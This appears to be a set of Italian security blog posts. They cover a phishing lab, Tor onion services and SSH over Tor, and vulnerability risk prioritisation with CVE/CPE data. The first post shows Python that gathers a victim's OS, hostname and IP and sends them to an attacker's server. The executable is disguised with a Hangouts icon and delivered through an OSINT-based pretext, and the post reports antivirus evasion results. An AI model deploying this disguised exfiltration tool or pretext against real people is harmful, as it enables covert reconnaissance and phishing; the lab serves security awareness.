Le cyberweapons sono quindi due: la stessa comunicazione via email (dotata di un elemento di tracciamento che non è oggetto di questo post) ed il finto malware costruito appositamente per raccogliere informazioni sul sistema vittima. Ovviamente l’attacker deve disporre di un host d’appoggio per farsi inviare le informazioni che intende carpire. Per “giocare” con questa tecnica iniziamo proprio da questo elemento: l’host controllato dall’attacker.

Per strutturare un lab minimo basta avere una macchina linux con un server di pubblicazione, per questo scenario usiamo un semplicissimo LAMP. Diamoci un obiettivo semplice per partire: il finto malware si limiterà a mandarci tre dati via http: la versione del sistema operativo della vittima, l’hostname e l’indirizzo IP locale. Il server deve quindi limitarsi a raccogliere questi dati e registrarli in un file. Il server che raccoglierà i dati deve quindi avere a bordo un semplice script (in questo lab uso PHP) che riceva le informazioni e le scriva in un log file. Qualcosa di simile a questo:

https://github.com/roccosicilia/sToolz/blob/master/Phishing/attachments/logme.php

Nella repo di GitHub il file completo “logme.php” consente di gestire un paio di condizioni ma la base è invariata. Per eseguire una prova è sufficiente posizionare il file nella Document Root del vostro web server ed accedervi via browser valorizzando opportunamente le variabili in URL.

Test dello script via browser

Preparato il sistema per raccogliere i dati passiamo alla piccola trappola che abbiamo pensato: un semplice eseguibile che chieda le informazioni al sistema vittima e le invii al web server con una semplice http request. Ovviamente non si tratta di un malware in senso stretto per diversi motivi: innanzi tutto è assolutamente innocuo al di la del raccogliere dei dati specifici dal client target, inoltre è assolutamente “stupido” non presentando nessuna tipica caratteristica di camuffamento. Di fatto è un banale script che chiede tre dati e li invia ad un web server.

Per l’occasione lo script viene compilato e gli viene data l’apparenza di file lecito: nel lab, il cui codice è disponibile qui, viene utilizzata l’icona di Hangouts e vengono definite alcune proprietà del file. Gli elementi principali sono ovviamente le chiamate al sistema target:

### platform info
os_ver = platform.platform()

### hostname
hostname = socket.gethostname()

### netinfo
local_ip = socket.gethostbyname(str(hostname))

Nello script disponibile su GitHub ci sono un paio di alternative commentate per provare diverse modalità di raccolta delle informazioni. I dati vengono poi spediti al web server con una semplice requests al già predisposto script logme.php:

url = "{}/logme.php?os_ver={}&hostname={}&local_ip={}".format(target_url, os_ver, hostname, local_ip)
req = requests.get(url)

Il log registrato potrebbe assomigliare a questo:

Tutti gli elementi per il test sono pronti, manca l’innesco che nel caso specifico è costituito da una prima email per creare la “relazione”: in questa campagna abbiamo infatti pensato di inviare una prima comunicazione assolutamente pulita da un indirizzo email creato appositamente senza utilizzare tecniche di spoofing relativamente semplici da intercettare. Ovviamente una comunicazione di questo tipo ha bisogno di altri elementi per attrarre il target, in questo caso abbiamo utilizzato informazioni ricavate dall’analisi OSInt per invitare gli interlocutori ad un meet su un tema di sviluppo aziendale per il quale il White Hat ha ipotizzato un forte interesse da parte del target.

Una comunicazione così formattata non attiva – di solito – nessun sistema di controllo: niente spoofing, niente link sospetti, nessun contenuto pericoloso. Puro engage. In questo scenario le potenziali vittime sono coloro che rispondono al tentativo di engage: si è potenzialmente creato un dialogo, il canale è quindi aperto.

Di fatto abbiamo utilizzato una tecnica di Social Engineering per aprire un canale diretto con delle potenziali vittime. Saranno queste il target dell’attacco di phishing a cui inviare l’invito al meet con la richiesta di scaricare il “launcher” per accedere alla conferenza. Nell’ambito del Social Engineering esistono diverse tecniche di engage che fanno leva sulle abitudini delle vittime e sulla costruzione di uno scenario realistico. Per questo motivo gli attacchi mirati che partono con una banalissima email ben strutturata, con informazioni contestualizzate e con riferimenti a fatti o dati reali, tendono a funzionare molto bene; una volta costruita la relazione con il target è relativamente facile indurlo a scaricare contenuti potenzialmente pericolosi sulla propria workstation al fine di installare un malware o, come nel caso dell’esempio, prelevare informazioni dal sistema vittima.

Ho notato come le campagne mirate tendono a “scremare” il numero delle potenziali vittime: l’approccio in due fasi porta a ridurre di molto il numero dei potenziali target all’interno dell’organizzazione. Contestualmente si ottiene un target molto più “qualificato”.

In definitiva l’attacco si concretizza nel portare la vittima a scaricare il malware per eseguirlo sulla propria workstation:

So a cosa state pensando: “va bhe, ma l’anti-malware blocca una schifezza del genere”. Quasi 🙂

Dovremmo aprire un capitolo enorme su come funzionano gli anti-malware tradizionali rispetto ai più recenti EDR / XDR e tutto quello che riterrete opportuno installare sui vostri End Point. Abbiamo fatto ovviamente alcuni test ed in generale possiamo affermare che un eseguibile “ignorante” come quello proposto in questo piccolo lab viene rilevato nella quasi totalità dei casi dagli EDR / XDR quando si tenta l’esecuzione sulla macchina vittima, gli alti-malware tradizionali fanno decisamente più fatica: nelle prove il file non viene mai rilevato come malevolo in fase di scansione e se eseguito in alcuni casi è scattato il blocco della chiamata http in uscita ma il processo locale è stato eseguito.

I log presentati nell’ultimo screen vengono da sistemi con anti-malware tradizionali tranne uno specifico caso (il penultimo) ove era attivo un EDR in configurazione di default. Questa ultima informazione lascia spazio per un altro tema immenso: la configurazione degli EDR/XDR. E’ banale dirsi che le conf. di default non dovrebbero mai essere usate in produzione, dobbiamo fare i conti con il “mondo vero” dove sono largamente utilizzate esponendo i sistemi a minacce anche banalissime.

Conclusioni

Le note che condivido sono semplici e sostanziali:

  • non sottovalutare il fattore umano… considerazione banale ma visti gli esiti delle campagne di phishing è evidente che ancora non ci siamo
  • la tecnologia è uno strumento potente se lo usate correttamente, in caso contrario si ottiene solo un falso senso di sicurezza

hacking

Playing with TOR

Durante la preparazione di alcuni laboratori per un workshop sulle simulazioni di attacco ho approfondito alcuni aspetti del funzionamento della rete ToR, quei dettagli che capita di leggere ma più raramente di toccare con mano fino a quando non se ne ha l’occasione. Mi piaceva l’idea di riassumere in un post le sessioni di gioco con la rete Tor ed un paio di utilizzi che penso possano essere utili nello svolgimento di attività offensive, ovviamente in contesti autorizzati.

installazione ed avvio del servizio Tor

Nota ovvia: il contenuto del post ha finalità divulgative al fine di condividere alcuni aspetti del funzionamento della rete Tor così da acquisire una maggiore consapevolezza dello strumento che, come tutti gli strumenti, può essere utilizzato anche per fini illeciti e proprio a tal proposito è bene saper riconoscere eventuali attività sospette eseguite attraverso questa rete.

Non è un how-to, per chi ha bisogno di una infarinatura ci sono moltissimi articoli che potete prendere in considerazione:

Lab setup

Un minimo di infrastruttura per utilizzare il servizio. Per praticità utilizzo la mia kali box, ma potete ovviamente utilizzare quello che vi pare. L’installazione è semplicissima (vedi screenshot ad inizio post) ed una volta avviato il demone il servizio sarà immediatamente disponibile sulla local port 9050.

Per fare un po’ di esperimenti assicurarsi di disporre anche dei seguenti software:

  • apache2 + php
  • wget / curl
  • ssh-ping
  • tor-browser

Oltre alla kali locale ho utilizzato un web server remoto per eseguire alcune prove, nel mio caso si tratta di un semplicissimo LAMP basato su Ubuntu (LTS) con esposto il servizio http ed ssh su porte non standard.

Onion Site

Obiettivo del test era osservare log e traffico di un nodo Tor su cui è attivo un Onion Site, la prima cosa da fare è quindi configurare un il sito cipolla.

Premessa: i domain name .onion funzionano in modo diverso rispetto ai domain name che popolano la rete internet: un onion name corrisponde all’identità (univoca) di uno specifico nodo (vedi rfc 7686). In parole povere un onion name si riferisce specificatamente all’host su cui risiede il servizio in qualità di nodo della rete Tor.

Per configurare un “sito cipolla” è sufficiente accedere al file di configurazione di Tor in /etc/tor/torrc e definire la configurazione del servizio dichiarando il path per i file di configurazione. Viene inoltre dichiarata la porta del servizio da non interpretare come un sistema di pubblicazione: il servizio Tor si limiterà ad eseguire l’inoltro dei pacchetto in ingresso sulla porta 80 (visto che voglio intercettare il traffico http) vero il web server attivo sul sistema (apache2) precedentemente installato durante il setup del laboratorio.

configurazione base per un “sito cipolla”

Il mio apache non ha nessuna specifica configurazione, anzi è praticamente in configurazione di default ed il contenuto pubblicato è molto semplice, si tratta infatti di un PHP file che esegue la print dell’IP del client che accede al contenuto:

Nel mio caso la macchina è una guest con un IP dietro un primo NAT per accedere alla rete locale tramite l’host (la mia workstation) e dietro un secondo NAT per accedere alla rete internet tramite la mia connettività. Il server non esegue quindi nessun tipo di pubblicazione di servizi verso la rete internet mentre è raggiungibile dalla mia LAN tramite il NAT del software di virtualizzazione. Per chiarire riporto uno schema di sintesi:

labz

Accedendo quindi al contenuto direttamente dalla guest o dalla mia workstation il sistema potrà registrare nei log l’IP del client che ha eseguito l’accesso al web server nel solito file /var/log/apache2/access.log.

Avviando il servizio Tor sulla VM hidden-server verrà generato l’indirizzo del sito .onion ed il demone si occuperà di intercettare le richieste verso la porta 80 in arrivo dalla rete Tor verso la porta 80 del servizio di pubblicazione HTTP.

Per simulare il comportamento di un utente che, attraverso la rete Tor, invii una richiesta GET ai contenuti del sito cipolla è sufficiente predisporre un ToR browser sulla workstation (o su un altro sistema esterno) così da ottenere il comportamento di un qualsiasi Tor user che voglia accedere al contenuto appena pubblicato. L’indirizzo del sito cipolla è disponibile all’interno del file /var/lib/tor/hidden_service/hostname, nel mio caso:

Per capire meglio cose sta accadendo sul sistema che ospita l’onion site ho verificato come prima cosa lo status delle connessione della macchina. Con i servizi apache e Tor attivi lo status delle connessione presentava poche e ben definite sessioni.

Sulla porta 9050 della loopback è ovviamente in ascolto il demone Tor utilizzabile dal mio client come socks host. Già dalla seconda riga la cosa si fa interessante: il mio host contatta dal proprio IP in LAN il sistema 185.243.218.27 che, ricerche alla mano, è un ToR Node che fa riferimento a questo progetto: https://tuxli.ch/. Verificando il comportamento delle sessioni e la descrizione dei servizi offerti da questo nodo, devo dedurne che si tratti del DirNode selezionato dal server per scaricare la lista dei Relay, inoltre il nodo stesso offre servizi di Relay. Ultimo dato utile è nella terza linea con il binding del servizio apache2 sulla porta 80, questo è il servizio che viene contattato, in definitiva, da un client che vuole accede al contenuto che il sito sta pubblicando. In un contesto standard vedremmo quindi una sessione tra il server ed il client in un formato del tipo:

{LocalIP}:80 <---> {RemoteIP}:{ClientPort}

Avviando il Tor browser su un altro host ed accedendo al sito cipolla già configurato possiamo osservare meglio il comportamento del demone ToR nel consentire l’accesso ai contenuti:

Quello che accade è abbastanza chiaro: il Tor browser non compare tra i client in quanto la richiesta arriva al server all’interno della sessione già attiva con il Relay Node (182.243.218.27) e si presenta come una richiesta interna del sistema (127.0.0.1:46660) verso il servizio http apparentemente binded sulla stessa loopback (127.0.0.1:80). Questa sessione si riferisce in realtà al forward dei pacchetti eseguito dal demone Tor verso apache. Questo spiega anche come mai nell’access.log di apache compare l’IP 127.0.0.1 come client.

Secure ssh access

Qualcosa di simile a quanto fatto con la pubblicazione http è possibile farlo con ssh: in questo caso l’obiettivo molto operativo che volevo ottenere era una modalità di accesso via ssh ad un server all’interno della rete Tor.

Il vattoggio è relativamente chiaro: tenendo attivo il mio server all’intero della rete e configurando opportunamente il demone Tor potrò garantirmi un accesso in ssh alla mia macchina senza esporre il servizio ad internet nascondendo di fatto il sistema. Da questa posizione posso poi raggiungere altri sistemi anche all’esterno della rete Tor ma comunque attraversandola.

Lo scenario di base è identico al precedente con qualche aggiunta, in particolare sul server “nascosto” bisognerà necessariamente installare ed avviare il demone ssh ma, come per http, non sarà necessario eseguire un NAT sulla rete internet in quanto la raggiungibilità del servizio verrà affidata alla rete Tor. Il file di configurazione coinvolto è sempre /etc/tor/torrc in cui, poche righe sotto la configurazione del servizio http, vi sono le configurazioni per gli “altri servizi nascosti”:

Nel caso specifico, con la configurazione riportata nello screenshot, stiamo istruendo Tor ad inoltrare il traffico in arrivo sulla porta tcp\22 verso il servizio in ascolto sulla medesima porta del server. Nel file /var/lib/tor/other_hidden_service/hostname è riportato l’indirizzo .onion per raggiungere il servizio nascosto all’interno della rete. Una volta completata la configurazione potremo collegarci alla macchina in ssh puntando al sito cipolla corrispondente. Ovviamente il sistema da cui si vorrà eseguire la connessione dovrà essere a sua volta connesso alla rete Tor. Il comando è quindi semplicissimo:

torify ssh sheliak@{sitocipolla}.onion

Una volta avviata la connessione è molto probabile riscontrare una carta latenza nella risposta, si tratta di un effetto collaterale inevitabile in quanto i pacchetti che i due sistemi si scambiano stanno attraversando un minimo di tre Tor Node e ad ogni hop corrispondono operazioni di cifratura/decifratura. Tutto ciò introduce latenza nelle comunicazioni. Quanta?

ssh-ping verso il servizio ssh nascosto

Una volta ottenuto l’acceso al sistema, esattamente come visto per http, noteremo che i servizi di destinazione si vedono arrivare richieste di accesso dall’interfaccia di loopback. Quindi se eseguiamo delle verifiche su chi è connesso al sistema con il comando who

A sinistra la sessione ssh via Tor, a destra una console locale

… l’output mostrerà la sessione locale ed una sessione remota da 127.0.0.1 a testimoniare il nostro accesso “anonimo” quanto meno a livello di IP.

Conclusioni e riflessioni

Il mio interesse specifico in questo laboratorio ruotava attorno all’esigenza di comprende meglio il funzionamento della rete Tor per valutare come sfruttarla in simulazioni di attacco e qualche idea me la sono fatta. Non sono da meno gli spunti a livello di incremento della sicurezza sfruttando i servizi nascosti per amministrare i propri sistemi senza esporli in nessun modo, ne con un NAT ne con una VPN che come ultimamente abbiamo visto è un servizio come gli altri e può avere dei bug.

Capito meglio il funzionamento mi è ben chiaro come si è potuta sfruttare la rete anche per fini illeciti come la creazione di botnet utilizzate per attacchi ad enti ed aziende. Ci sono degli aspetti che mi segno di approfondire in un prossimo lab come la possibilità di eseguire ricerche automatizzate in rete internet attraverso la rete Tor e la possibilità di scambiarsi informazioni e messaggi peer-to-peer.

cyber security, hacking

Vulnerabilità, calcolo del rischio e gestione delle priorità

In più occasioni mi trovo a discutere della differenza nella sostanza tra lo score di una vulnerabilità, rappresentato dal parametro CVSS, ed il rischio ad essa correlata che deve tener conto di diversi elementi del contesto.

L’output standard dei tools di scansione delle vulnerabilità potrebbe facilmente portare a considerare lo score della vulnerabilità come il parametro che determina il rischio. Potrebbe sembrare logico: se la vulnerabilità ha uno score alto significa che è particolarmente grave quindi rischio di più. Come accennavo in questo post è necessario considerare anche l’impatto sul business dell’asset o del servizio su cui è individuata una vulnerabilità: a parità di score una vulnerabilità che affligge un sistema di posta elettronica, per fare un esempio, è ben più impattante di una vulnerabilità che affligge una SmartTV.

Fette le dovute premesse al post passiamo all’operatività partendo dagli strumenti che tipicamente vengono adoperati per eseguire la verifica delle vulneralità, ovvero i tools di scansione. Ne esistono molti, con più o meno funzioni e per tutte le tasche. La funzionalità base comune a tutti i software di scansione è relativa alla generazione di un report che riporti l’elenco degli asset interessati dalla scansione e le vulnerabilità rilevate. Il report porta all’attenzione diversi dati tra cui lo score delle vulnerabilità (CVSS) accompagnato da altri parametri a supporto della comprensione della stessa.

Ultimamente ho avuto modo di operare su due piattaforme molto diverse tra loro: Nessus e Qualys. Al fine di automatizzare parte del processo di rilevamento delle vulnerabilità e calcolo del rischio ho condotto qualche prova di estrazione dei dati per agevolare il processo di creazione del remediation plan secondo una logica “rischio centrica”.

Test API

Entrambi i software, come molti altri, consentono di utilizzare le API per accedere ai report delle scansioni permettendo così di creare semplici script di estrazione ed elaborazione dei dati. Dovendo potenzialmente calcolare il fattore di rischio per decine se non centinaia di vulnerabilità automatizzare almeno una parte del processo è cosa saggia.

La ricetta, come abbiamo visto, è relativamente semplice e si basa su un minimo di due dati oggettivi (CVSS dato dalla scansione e Business Impact dato dall’asset inventory) e un dato analitico che personalmente mi piace aggiungere per avvicinare l’analisi al mondo vero e che potremmo pragmaticamente chiamare appetibilità.

Alcuni tools, come Qualys, consentono di censire dati anche per l’asset oggetto di analisi. In questo caso parametri come il Business Impact possono far parte dei dati base del report e possono essere utilizzati per calcolare un fattore di rischio. Altri tools, come Nessus, riportano i dati relativi alle vulnerabilità che dovranno poi essere analizzati tenendo in considerazione i dati gestiti dal sistema di asset manager.

p-o-c

Ovviamente mettere in relazione i dati provenienti da una scansione con i dati di un tool di asset management non è banale in quanto entrambi i sistemi devono poter mettere a disposizione le informazioni tramite una API. Personalmente credo sia anche il metodo più strutturato per gestire un piano di rimedio in quanto transita per la creazione di un processo di gestione degli asset e relativi strumenti IT.

Dall’altro lato sfruttando opportunamente le funzionalità di tools più ricchi è possibile arrivare ad ottenere, già nel report, un parametro che aiuti a qualificare il rischio. In questo caso il parametro da utilizzare per comporre il remediation plan potrebbe essere presente già nel report ed una volta raccolti i dati si potrà ottenere un elenco per priorità semplicemente “riordinando la lista” partendo dalla coppia host/vulnerabilità che riporta il rischio più alto.

Un ultimo step potrebbe essere quello di generare una notifica per il team IT dove riportare solo le vulnerabilità che risultano avere un fattore di rischio meritevole di considerazione secondo la policy scelta dall’organizzazione per la gestione delle vulnerabilità.

Nella p-o-c ho riportato qualche esempio di accesso alle API di Qualys e Nessus relative ai dati dei report: https://github.com/roccosicilia/sToolz/tree/master/GetVulnReport

cyber security, hacking

Individuazione delle vulnerabilità: attacco e difesa (prima parte)

La gestione delle vulnerabilità è ovviamente un tema ricorrente nelle organizzazione che devono governare infrastrutture IT/OT/IoT dal punto di vista della sicurezza cibernetica. Tutte le componenti, tecnologiche e non, di una organizzazione sono di fatto potenziali target per attacchi atti a raccogliere informazioni o compromettere i sistemi, cosa che, nei contesti di produzione, metto a rischio il funzionamento dell’organizzazione ed in alcuni casi il prodotto stesso (gli smart device sono l’esempio più ovvio).

Negli ultimi giorni ho avuto modo di illustrare alcuni step di attacco ad un collega “temporaneo” (abbiamo “a bordo” un ragazzo in alternanza scuola lavoro con una sincera passione per la tecnologia e la cyber security) e nelle chiacchierate è emerso un elemento che ho visto spesso anche in molti menbri degli uffici IT, compreso il management: di fronte ad un nutrito set di bug e vulnerabilità individuate tramite una o più fonti – non sempre grazie ad una metodologia di gestione del rilevamento delle stesse – si tende al disordine: l’assenza di una procedura definita per la gestione delle vulnerabilità lascia spazio alla propria interpretazione / percezione del rischio e l’organizzazione, se reagisce, lo fa in modo disorganizzato.

Inevitabilmente si tende a correre ai ripari per quanto riguarda le vulnerabilità che sembrano essere quelle più critiche a prescindere dal contesto. E’ vero che le vulnerabilità che consentono lo sviluppo di un attacco diretto sono estremamente pericolose in quanto più semplici — di solito — da sfruttare, ma la contestualizzazione della vulnerabilità può cambiarne sensibilmente il rischio correlato: esporre un sistema con evidenti vulnerabilità che consentono l’esecuzione di codice da remoto (Remote Code Execution) è ovviamente un elemento che rende il target estremamente appetibile, ma se il contesto presenta uno strumento di filtering in grado di riconoscere e bloccare i tentativi di exploiting (come IDP/IPS a livello firewall o un sistema di anti-exploiting a bordo del server) le probabilità che la vulnerabilità sia sfruttabile si riducono enormemente.

Attenzione: si riducono, non svaniscono.

E’ necessario poter correlare una vulnerabilità ad un asset e di quell’asset dobbiamo conoscere il contesto operativo e l’impatto sul business dell’organizzazione.

Dobbiamo necessariamente fare i conti con la realtà ed accettare che non tutte le organizzazioni hanno modo di costruire in tempi rapidi una mappa dei business impact legati agli asset. Inoltre, come accennato, non tutti dispongono di procedure di gestione delle vulnerabilità. Il modello che vorrei quindi proporre in questa mini serie – ed è anche la tesi discussa con il giovanissimo collega – è di approcciare la cosa per gradi mettendoci nella situazione peggiore ma spesso reale di non disporre di un database degli asset e delle loro caratteristiche.

Nota: lo scenario non è in alcun modo da considerarsi sostitutivo alla predisposizione di un processo di asset management e relativi strumenti di gestione. L’obiettivo dell’articolo è ragionare assieme.

Come spesso scrivo nei post e racconto sia nei podcast che di persona, l’approccio dell’attacker è metodico e prevede la qualifica del target per comprendere se esiste una reale convenienza nello sferrare un attacco: costruire un’azione offensiva a scopo estorsione per colpire un piccolo studio professionale è molto diverso rispetto a ciò che comporta la progettazione dello stesso attacco con target una multi nazionale. Cambiano le economie dell’impresa (d’attacco), la possibile revenue, i tempi di realizzazione, ecc. Il modello prevede quindi l’analisi costo/benefici al fine di individuare un target appetibile.

Esistono diversi metodi per individuare target appetibili, uno di questi è legato alle tecnologie in uso dalle organizzazioni. Come avvenuto per recenti attacchi che hanno coinvolto migliaia di organizzazioni, l’attacker può utilizzare una falla nota presente in sistemi e piattaforme largamente utilizzate per costruire campagne di attacco anche massive ma con un vettore molto specifico.

In poche parole si tratta di analizzare le vulnerabilità note di tecnologie che il target utilizza a caccia della falla che potrebbe consentire un accesso ai sistemi in modo relativamente semplice. Ovviamente la quantità di vulnerabilità su cui eseguire questa analisi è enorme ed esistono database utilizzabili sia a fini offensivi che difensivi: di base dobbiamo acquisire un’informazione in relazione alla presenza di tecnologia, all’interno dell’organizzazione, che può essere sfruttata per un attacco informatico.

Esistono meravigliosi tools per verificare se parte del vostro asset presenta delle vulnerabilità critiche: se avete implementato una procedura di Patch Management e/o Vulnerability Management probabilmente subito dopo vi siete dotati di una soluzione software che vi aiuti a governare tale procedure; se avete acquisito la soluzione software ma non avete una procedura ufficiale per la gestione di questi processi, avete un problema di governance e vi suggerisco di affrontarlo rapidamente per non vanificare l’investimento fatto.

Visto che in questa sede parliamo di metodologia e non di tools (per i quali farete le vostre valutazioni) vediamo come possiamo entrare in possesso delle informazioni minime che ci servono per valutare se esiste un reale rischio per la sicurezza dell’organizzazione (se la vediamo dal punto di vista del team che deve difendere l’organizzazione) o una opportunità di business (se la vediamo dal punto di vista dell’attacker). Gli ingredienti sono:

  • elenco asset / tecnologie in uso presso il target
  • elenco vulnerabilità in riferimento alle tecnologie in uso
  • contesto di utilizzo della tecnologia vulnerabile

Partiamo leggeri, non censiamo subito gli asset ma preoccupiamoci almeno delle tecnologie in suo. Esiste una convenzione che ci aiuta a definire, in modo univoco, la tecnologia che stiamo utilizzando: si chiama CPE (Common Platform Enumeration). Senza dilungarmi troppo (di seguito qualche link per documentarvi) si tratta di un metodo standard per identificare uno specifico vendor/prodotto/versione/ecc…

Pagina dedicata di wikipedia: https://en.wikipedia.org/wiki/Common_Platform_Enumeration
Mitre specification: https://cpe.mitre.org/specification/

Un primo step potrebbe essere quindi quello di censire i CPE di riferimento per le tecnologie in uso nella nostra organizzazione: se utilizziamo una specifica versione di Microsoft Windows Vista, ma non ricordiamo esattamente l’update o altri parametri di dettaglio, potremmo annotare nella lista il CPE più generico:

cpe:2.3:o:microsoft:windows_vista:6.0:*:*:*:*:*:*:*

Ovviamente questo elenco dovrà essere mantenuto aggiornato, quindi la versione alpha della procedura di inventory delle CPE dovrà prevedere che ogni nuova tecnologia introdotta/individuata nell’organizzazione dovrà essere censita in questa repository.

Una volta gestito questo patrimonio di informazioni (utile per fare una montagna di altre attività virtuose) nel modo più automatizzato ed efficiente possibile, possiamo andare ad analizzare un altro dataset interessante ben più noto dei CPE, ovvero i CVE: Common Vulnerability Enumeration. Esistono diversi siti ed organizzazioni che mettono a disposizione un database con l’aggregato delle CVE rilasciate per i vendor, c’è l’imbarazzo della scelta. Per questo piccolo esperimento utilizziamo una API di https://cve.circl.lu/ che consente di richiedere le ultime 30 CVE pubblicate in formato json.

Esempio di lettura delle CVE tramite API

All’interno di una CVE trovate le informazioni sulla vulnerabilità compreso lo score e le CPE vulnerabili, ovvero l’elenco delle versioni software (talvolta in combinazione con specifici hardware) che presentano la vulnerabilità.

Siamo arrivati all’epilogo di questa prima parte di “avvio” dell’argomento che sintetizzo così: chiunque sia a conoscenza di una specifica applicazione in uso all’interno dell’organizzazione può identificare un potenziale set di vulnerabilità associate. Scopo di questa mini serie è discutere assieme le metodologie per rilevare e correggere le vulnerabilità prima che siano sfruttate. Nel prossimo post discutiamo una bozza di procedura e prendiamo in considerazione alcune tecniche di rilevamento (offensive e difensive) delle vulnerabilità.